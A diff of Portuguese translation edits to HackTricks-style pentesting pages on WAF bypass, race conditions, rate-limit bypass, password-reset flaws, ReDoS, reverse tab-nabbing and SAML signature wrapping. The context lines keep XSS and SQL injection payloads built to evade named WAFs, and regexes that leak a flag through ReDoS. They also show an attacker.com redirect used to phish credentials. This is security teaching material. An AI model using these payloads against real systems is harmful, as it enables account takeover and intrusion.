 Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha faz parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).
 
-## Bypass genérico de WAFs
+## Bypasses Genéricos de WAF
 
 ### Limites de Tamanho de Requisição
 
-Comumente, os WAFs têm um certo limite de comprimento de requisições a serem verificadas e, se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
+Comumente, os WAFs têm um certo limite de comprimento de requisições para verificar e, se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
 
 - Para o AWS WAF, você pode [**verificar a documentação**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 
@@ -145,7 +145,7 @@ Dependendo da implementação da normalização Unicode (mais informações [aqu
 
 Como mencionado em [**este post do blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário, poderíamos abusar das técnicas do WAF para realmente normalizar a entrada dos usuários.
 
-Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, o que **pode fazer com que pense que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.
+Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, que **pode pensar que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.
 
 Portanto, isso permite **ocultar payloads em componentes codificados** que o WAF irá decodificar e interpretar, enquanto a vítima não.
 
@@ -158,7 +158,7 @@ No post, os seguintes bypasses finais são sugeridos:
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que a Akamai permitiu colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, uma SQL injection como `/*'or sleep(5)-- -*/` não será capturada e será válida, pois `/*` é a string inicial da injeção e `*/` é comentada.
+Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que a Akamai permitiu colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, uma SQL injection como `/*'or sleep(5)-- -*/` não será capturada e será válida, pois `/*` é a string inicial da injeção e `*/` está comentado.
 
 Esses tipos de problemas de contexto também podem ser usados para **abusar de outras vulnerabilidades além da que se espera ser explorada pelo WAF** (por exemplo, isso também poderia ser usado para explorar um XSS).
 
@@ -201,7 +201,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 ```
 ## Ferramentas
 
-- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados inúteis às requisições para contornar WAFs por comprimento
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados aleatórios às requisições para contornar WAFs por comprimento
 
 ## Referências
 

src/pentesting-web/race-condition.md

@@ -14,14 +14,14 @@ Aqui você pode encontrar algumas técnicas para Sincronizar Requisições:
 #### Ataque de Pacote Único HTTP/2 vs. Sincronização do Último Byte HTTP/1.1
 
 - **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter da rede. No entanto, devido a variações do lado do servidor, duas requisições podem não ser suficientes para uma exploração consistente de condição de corrida.
-- **HTTP/1.1 'Sincronização do Último Byte'**: Permite o pré-envio da maior parte de 20-30 requisições, retendo um pequeno fragmento, que é então enviado junto, alcançando a chegada simultânea ao servidor.
+- **Sincronização do 'Último Byte' HTTP/1.1**: Permite o pré-envio da maior parte de 20-30 requisições, retendo um pequeno fragmento, que é então enviado junto, alcançando a chegada simultânea ao servidor.
 
 **Preparação para Sincronização do Último Byte** envolve:
 
 1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
 2. Pausar por 100ms após o envio inicial.
 3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar os quadros finais.
-4. Pingar para aquecer a conexão.
+4. Fazer ping para aquecer a conexão.
 
 O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que não estão tipicamente envolvidos em ataques de RC.
 
@@ -85,8 +85,8 @@ engine.openGate(currentAttempt)
 ```
 - Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
 - Para **limit-overrun**, você pode simplesmente adicionar a **mesma solicitação 50 vezes** no grupo.
-- Para **connection warming**, você pode **adicionar** no **início** do **grupo** algumas **solicitações** a uma parte não estática do servidor web.
-- Para **delaying** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestado, você pode **adicionar solicitações extras entre** ambas as solicitações.
+- Para **connection warming**, você pode **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
+- Para **delaying** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
 - Para um RC **multi-endpoint**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
@@ -219,19 +219,19 @@ response = requests.get(url, verify=False)
 ```
 ### Melhorando o Ataque de Pacote Único
 
-Na pesquisa original, foi explicado que este ataque tem um limite de 1.500 bytes. No entanto, em [**este post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do ataque de pacote único para a **limitação de janela de 65.535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em vários pacotes IP) e enviando-os em ordem diferente, o que permitiu evitar a reassemblagem do pacote até que todos os fragmentos chegassem ao servidor. Essa técnica permitiu que o pesquisador enviasse 10.000 requisições em cerca de 166ms.&#x20;
+Na pesquisa original, foi explicado que este ataque tem um limite de 1.500 bytes. No entanto, em [**este post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do ataque de pacote único para a **limitação de janela de 65.535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em vários pacotes IP) e enviando-os em ordem diferente, o que permitiu evitar a reassemblagem do pacote até que todos os fragmentos chegassem ao servidor. Essa técnica permitiu que o pesquisador enviasse 10.000 solicitações em cerca de 166ms.&#x20;
 
-Observe que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes para chegar ao mesmo tempo, pode também ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita de `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
+Observe que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes chegando ao mesmo tempo, pode também ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita de `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
 Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando este ataque RC).
 
 Você pode encontrar alguns exemplos usando essa técnica no repositório [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
 ## BF Bruto
 
-Antes da pesquisa anterior, esses eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
+Antes da pesquisa anterior, esses foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
 
 - **Repetidor:** Confira os exemplos da seção anterior.
-- **Intruso**: Envie a **requisição** para **Intruso**, defina o **número de threads** para **30** dentro do **menu de Opções** e selecione como payload **Payloads Nulos** e gere **30.**
+- **Intruso**: Envie a **solicitação** para **Intruso**, defina o **número de threads** para **30** dentro do **menu de Opções** e selecione como payload **Null payloads** e gere **30.**
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):

src/pentesting-web/rate-limit-bypass.md

@@ -30,11 +30,11 @@ X-Forwarded-For: 127.0.0.1
 ```
 ### Mudando Outros Cabeçalhos
 
-Alterar outros cabeçalhos de requisição, como o user-agent e cookies, é recomendado, pois esses também podem ser usados para identificar e rastrear padrões de requisição. Mudar esses cabeçalhos pode prevenir o reconhecimento e rastreamento das atividades do requisitante.
+Alterar outros cabeçalhos de solicitação, como o user-agent e cookies, é recomendado, pois esses também podem ser usados para identificar e rastrear padrões de solicitação. Mudar esses cabeçalhos pode prevenir o reconhecimento e rastreamento das atividades do solicitante.
 
 ### Aproveitando o Comportamento do API Gateway
 
-Alguns API gateways são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à requisição, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada requisição pareça única. Por exemplo `/resetpwd?someparam=1`.
+Alguns gateways de API são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à solicitação, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada solicitação pareça única. Por exemplo `/resetpwd?someparam=1`.
 
 ### Fazendo Login na Sua Conta Antes de Cada Tentativa
 
@@ -42,14 +42,14 @@ Fazer login em uma conta antes de cada tentativa, ou a cada conjunto de tentativ
 
 ### Utilizando Redes de Proxy
 
-Implantar uma rede de proxies para distribuir as requisições entre múltiplos endereços IP pode efetivamente contornar limites de taxa baseados em IP. Roteando o tráfego através de vários proxies, cada requisição parece originar de uma fonte diferente, diluindo a eficácia do limite de taxa.
+Implantar uma rede de proxies para distribuir as solicitações entre vários endereços IP pode efetivamente contornar limites de taxa baseados em IP. Roteando o tráfego através de vários proxies, cada solicitação parece originar de uma fonte diferente, diluindo a eficácia do limite de taxa.
 
 ### Dividindo o Ataque Entre Diferentes Contas ou Sessões
 
-Se o sistema alvo aplica limites de taxa com base em cada conta ou sessão, distribuir o ataque ou teste entre múltiplas contas ou sessões pode ajudar a evitar a detecção. Essa abordagem requer gerenciar múltiplas identidades ou tokens de sessão, mas pode efetivamente distribuir a carga para permanecer dentro dos limites permitidos.
+Se o sistema alvo aplica limites de taxa com base em cada conta ou sessão, distribuir o ataque ou teste entre várias contas ou sessões pode ajudar a evitar a detecção. Essa abordagem requer gerenciar múltiplas identidades ou tokens de sessão, mas pode efetivamente distribuir a carga para permanecer dentro dos limites permitidos.
 
 ### Continue Tentando
 
-Observe que mesmo se um limite de taxa estiver em vigor, você deve tentar ver se a resposta é diferente quando o OTP válido é enviado. Em [**este post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), o caçador de bugs descobriu que mesmo se um limite de taxa for acionado após 20 tentativas malsucedidas, respondendo com 401, se o válido for enviado, uma resposta 200 foi recebida.
+Observe que, mesmo que um limite de taxa esteja em vigor, você deve tentar ver se a resposta é diferente quando o OTP válido é enviado. Em [**este post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), o caçador de bugs descobriu que, mesmo que um limite de taxa seja acionado após 20 tentativas malsucedidas respondendo com 401, se o válido for enviado, uma resposta 200 foi recebida.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/registration-vulnerabilities.md

@@ -27,7 +27,7 @@ Nesse caso, você pode tentar forçar a autenticação de credenciais.
 
 ### Injeção de SQL
 
-[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar tomadas de controle de conta ou extrair informações via **SQL Injections** em formulários de registro.
+[**Verifique esta página** ](sql-injection/#insert-statement) para aprender como tentar tomadas de controle de contas ou extrair informações via **SQL Injections** em formulários de registro.
 
 ### Tomadas de Controle Oauth
 
@@ -124,7 +124,7 @@ Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o a
 3. Use o token enviado para seu email e redefina a senha da vítima.
 4. Conecte-se à conta da vítima com a nova senha.
 
-A plataforma CTFd era vulnerável a esse ataque.\
+A plataforma CTFd foi vulnerável a esse ataque.\
 Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
 
 ### Tomada de Conta Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>

src/pentesting-web/regular-expression-denial-of-service-redos.md

@@ -4,7 +4,7 @@
 
 # Regular Expression Denial of Service (ReDoS)
 
-Um **Regular Expression Denial of Service (ReDoS)** acontece quando alguém aproveita as fraquezas em como as expressões regulares (uma forma de buscar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando ficar maior. Essa lentidão pode crescer tanto que aumenta rapidamente com até mesmo pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo tempo.
+Um **Regular Expression Denial of Service (ReDoS)** acontece quando alguém aproveita as fraquezas em como as expressões regulares (uma forma de buscar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando ficar maior. Essa lentidão pode crescer tanto que aumenta rapidamente com até pequenas aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo tempo.
 
 ## O Algoritmo Naïve Problemático de Regex
 
@@ -26,14 +26,14 @@ Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
 
 ### Exfiltração de String via ReDoS
 
-Em um CTF (ou bug bounty), talvez você **controle a Regex com a qual uma informação sensível (a bandeira) é combinada**. Então, pode ser útil fazer a **página congelar (timeout ou tempo de processamento mais longo)** se a **Regex combinar** e **não se não combinar**. Dessa forma, você poderá **exfiltrar** a string **caractere por caractere**:
+Em um CTF (ou bug bounty) talvez você **controle a Regex com a qual uma informação sensível (a bandeira) é combinada**. Então, pode ser útil fazer a **página congelar (timeout ou tempo de processamento mais longo)** se a **Regex combinar** e **não se não combinar**. Dessa forma, você poderá **exfiltrar** a string **caractere por caractere**:
 
 - Em [**este post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra de ReDoS: `^(?=<flag>)((.*)*)*salt$`
 - Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
 - Em [**este writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
 - Em [**este writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
 
-### Controle de Entrada e Regex em ReDoS
+### ReDoS Controlando Entrada e Regex
 
 Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto a **regex**:
 ```javascript

src/pentesting-web/reset-password.md

@@ -5,8 +5,8 @@
 ## **Vazamento de Token de Redefinição de Senha Via Referer**
 
 - O cabeçalho HTTP referer pode vazar o token de redefinição de senha se estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar uma redefinição de senha.
-- **Impacto**: Possível tomada de conta via ataques de Cross-Site Request Forgery (CSRF).
-- **Exploração**: Para verificar se um token de redefinição de senha está vazando no cabeçalho referer, **solicite uma redefinição de senha** para seu endereço de e-mail e **clique no link de redefinição** fornecido. **Não altere sua senha** imediatamente. Em vez disso, **navegue até um site de terceiros** (como Facebook ou Twitter) enquanto **intercepta as requisições usando o Burp Suite**. Inspecione as requisições para ver se o **cabeçalho referer contém o token de redefinição de senha**, pois isso pode expor informações sensíveis a terceiros.
+- **Impacto**: Potencial tomada de conta via ataques de Cross-Site Request Forgery (CSRF).
+- **Exploração**: Para verificar se um token de redefinição de senha está vazando no cabeçalho referer, **solicite uma redefinição de senha** para seu endereço de e-mail e **clique no link de redefinição** fornecido. **Não altere sua senha** imediatamente. Em vez disso, **navegue até um site de terceiros** (como Facebook ou Twitter) enquanto **intercepta as requisições usando Burp Suite**. Inspecione as requisições para ver se o **cabeçalho referer contém o token de redefinição de senha**, pois isso pode expor informações sensíveis a terceiros.
 - **Referências**:
 - [HackerOne Report 342693](https://hackerone.com/reports/342693)
 - [HackerOne Report 272379](https://hackerone.com/reports/272379)
@@ -14,8 +14,8 @@
 
 ## **Envenenamento de Redefinição de Senha**
 
-- Os atacantes podem manipular o cabeçalho Host durante as solicitações de redefinição de senha para direcionar o link de redefinição para um site malicioso.
-- **Impacto**: Leva a uma possível tomada de conta ao vazar tokens de redefinição para os atacantes.
+- Os atacantes podem manipular o cabeçalho Host durante as solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
+- **Impacto**: Leva a uma potencial tomada de conta ao vazar tokens de redefinição para os atacantes.
 - **Passos de Mitigação**:
 - Valide o cabeçalho Host contra uma lista de domínios permitidos.
 - Use métodos seguros do lado do servidor para gerar URLs absolutas.
@@ -63,7 +63,7 @@ POST /resetPassword
 [...]
 email="victim@mail.tld",email="attacker@mail.tld"
 ```
-- Adicione o e-mail do atacante como segundo parâmetro na matriz json
+- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON
 ```php
 POST /resetPassword
 [...]
@@ -111,12 +111,12 @@ POST /api/changepass
 - Baseado em Criptografia
 - **Passos de Mitigação**:
 - Usar métodos fortes e criptográficos para geração de tokens.
-- Garantir aleatoriedade e comprimento suficientes para evitar previsibilidade.
+- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
 - **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
 
 ## **UUID Adivinhável**
 
-- Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique:
+- Se UUIDs (versão 1) são adivinháveis ou previsíveis, atacantes podem forçá-los para gerar tokens de redefinição válidos. Verifique:
 
 {{#ref}}
 uuid-insecurities.md
@@ -150,7 +150,7 @@ uuid-insecurities.md
 
 ## **Tente Usar Seu Token**
 
-- Testando se o token de redefinição do atacante pode ser usado em conjunto com o email da vítima.
+- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima.
 - **Passos de Mitigação**:
 - Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
 

src/pentesting-web/reverse-tab-nabbing.md

@@ -5,7 +5,7 @@
 Em uma situação onde um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site** **malicioso** será capaz de **controlar** a **página** **original** via o objeto javascript **`window.opener`**.\
 Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`**, ela também pode ser vulnerável.
 
-Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário** de **login** do site original e pedir credenciais ao usuário.
+Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário** de **login** do site original e solicitar credenciais ao usuário.
 
 No entanto, note que como o **atacante agora pode controlar o objeto window do site original**, ele pode abusar disso de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
 

src/pentesting-web/saml-attacks/README.md

@@ -53,7 +53,7 @@ Para mais informações sobre a vulnerabilidade e como abusar dela:
 
 ## Ataques de Envelopamento de Assinatura XML
 
-Nos **ataques de Envelopamento de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa pela verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante efetivamente contorna a **proteção de integridade** e a **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
+Nos **ataques de Envelopamento de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante efetivamente contorna a **proteção de integridade** e a **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
 
 Os seguintes ataques são baseados em [**este post de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**este artigo**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Portanto, verifique esses para mais detalhes.
 
@@ -88,7 +88,7 @@ Os seguintes ataques são baseados em [**este post de blog**](https://epi052.git
 ### XSW #5
 
 - **Aspecto Único**: Nem a Assinatura nem a Assertion original aderem a configurações padrão (envelopada/envolvente/destacada).
-- **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.
+- **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura de documento esperada.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
 
@@ -159,7 +159,7 @@ Para mais informações sobre XSLT, vá para:
 
 Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial notar que **as transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
 
-Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades; na página hacktricks mencionada no início desta seção, você pode encontrar payloads.
+Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção você pode encontrar payloads.
 ```xml
 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
 ...
@@ -193,7 +193,7 @@ A **Exclusão de Assinatura XML** observa o comportamento das implementações S
 
 ### Ferramenta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
 
-Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepte a Resposta SAML e clique em `Remove Signatures`. Ao fazer isso, **todos** os elementos de assinatura são removidos.
+Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepte a Resposta SAML e clique em `Remove Signatures`. Ao fazer isso, **todos** os elementos Signature são removidos.
 
 Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a assinatura não for necessária pelo Serviço
 

src/pentesting-web/saml-attacks/saml-basics.md

@@ -2,7 +2,7 @@
 
 # Visão Geral do SAML
 
-**Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviço (SP), facilitando o single sign-on (SSO). Essa abordagem simplifica a gestão de múltiplos logins ao permitir que um único conjunto de credenciais seja usado em vários sites. Ela utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização do serviço.
+**Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviço (SP), facilitando o single sign-on (SSO). Essa abordagem simplifica a gestão de múltiplos logins ao permitir que um único conjunto de credenciais seja usado em vários sites. Ela utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização de serviço.
 
 ## Comparação entre SAML e OAuth
 
@@ -19,7 +19,7 @@ O processo de autenticação SAML envolve várias etapas, conforme ilustrado no
 
 1. **Tentativa de Acesso ao Recurso**: O usuário tenta acessar um recurso protegido.
 2. **Geração da Solicitação SAML**: O SP não reconhece o usuário e gera uma Solicitação SAML.
-3. **Redirecionamento para IdP**: O usuário é redirecionado para o IdP, com a Solicitação SAML passando pelo navegador do usuário.
+3. **Redirecionamento para o IdP**: O usuário é redirecionado para o IdP, com a Solicitação SAML passando pelo navegador do usuário.
 4. **IdP Recebe a Solicitação**: O IdP recebe a Solicitação SAML.
 5. **Autenticação no IdP**: O IdP autentica o usuário.
 6. **Validação do Usuário**: O IdP valida a legitimidade do usuário para acessar o recurso solicitado.
@@ -55,15 +55,15 @@ Após a geração da SAML Request, o SP responde com um **302 redirect**, direci
 
 Você pode encontrar uma [resposta SAML completa aqui](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Os componentes-chave da resposta incluem:
 
-- **ds:Signature**: Esta seção, uma Assinatura XML, garante a integridade e autenticidade do emissor da afirmação. A SAML response no exemplo contém dois elementos `ds:Signature`, um para a mensagem e o outro para a afirmação.
+- **ds:Signature**: Esta seção, uma Assinatura XML, garante a integridade e autenticidade do emissor da asserção. A SAML response no exemplo contém dois elementos `ds:Signature`, um para a mensagem e o outro para a asserção.
 - **saml:Assertion**: Esta parte contém informações sobre a identidade do usuário e possivelmente outros atributos.
-- **saml:Subject**: Especifica o sujeito principal de todas as declarações na afirmação.
+- **saml:Subject**: Especifica o sujeito principal de todas as declarações na asserção.
 - **saml:StatusCode**: Representa o status da operação em resposta à solicitação correspondente.
-- **saml:Conditions**: Detalha condições como o tempo de validade da Assertion e o Service Provider especificado.
-- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Assertion.
-- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Assertion.
+- **saml:Conditions**: Detalha condições como o tempo de validade da Asserção e o Provedor de Serviço especificado.
+- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Asserção.
+- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Asserção.
 
-Após a SAML Response, o processo inclui um 302 redirect do IdP. Isso leva a uma solicitação POST para a URL do Assertion Consumer Service (ACS) do Service Provider. A solicitação POST inclui os parâmetros `RelayState` e `SAMLResponse`. O ACS é responsável por processar e validar a SAML Response.
+Após a SAML Response, o processo inclui um 302 redirect do IdP. Isso leva a uma solicitação POST para o URL do Serviço de Consumo de Asserção (ACS) do Provedor de Serviço. A solicitação POST inclui os parâmetros `RelayState` e `SAMLResponse`. O ACS é responsável por processar e validar a SAML Response.
 
 Após a solicitação POST ser recebida e a SAML Response ser validada, o acesso é concedido ao recurso protegido inicialmente solicitado pelo usuário. Isso é ilustrado com uma solicitação `GET` para o endpoint `/secure/` e uma resposta `200 OK`, indicando acesso bem-sucedido ao recurso.
 
@@ -91,11 +91,11 @@ Uma Assinatura XML consiste em elementos essenciais, conforme mostrado:
 <Object />
 </Signature>
 ```
-Cada elemento `Reference` significa um recurso específico que está sendo assinado, identificável pelo atributo URI.
+Cada elemento `Reference` significa um recurso específico sendo assinado, identificável pelo atributo URI.
 
 ### Tipos de Assinaturas XML
 
-1. **Assinatura Envelopada**: Este tipo de assinatura é um descendente do recurso que assina, o que significa que a assinatura está contida na mesma estrutura XML que o conteúdo assinado.
+1. **Assinatura Envelopada**: Este tipo de assinatura é um descendente do recurso que assina, significando que a assinatura está contida dentro da mesma estrutura XML que o conteúdo assinado.
 
 Exemplo:
 
@@ -116,7 +116,7 @@ Exemplo:
 
 Em uma assinatura envelopada, o elemento `ds:Transform` especifica que está envelopada através do algoritmo `enveloped-signature`.
 
-2. **Assinatura Envolvente**: Em contraste com assinaturas envelopadas, assinaturas envolventes envolvem o recurso que está sendo assinado.
+2. **Assinatura Envelopadora**: Contrastando com assinaturas envelopadas, assinaturas envelopadoras envolvem o recurso sendo assinado.
 
 Exemplo:
 

src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

@@ -92,19 +92,19 @@ hell<!--esi-->o
 [GoSecure criou](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares compatíveis com ESI, dependendo da funcionalidade suportada:
 
 - **Includes**: Suporta a diretiva `<esi:includes>`
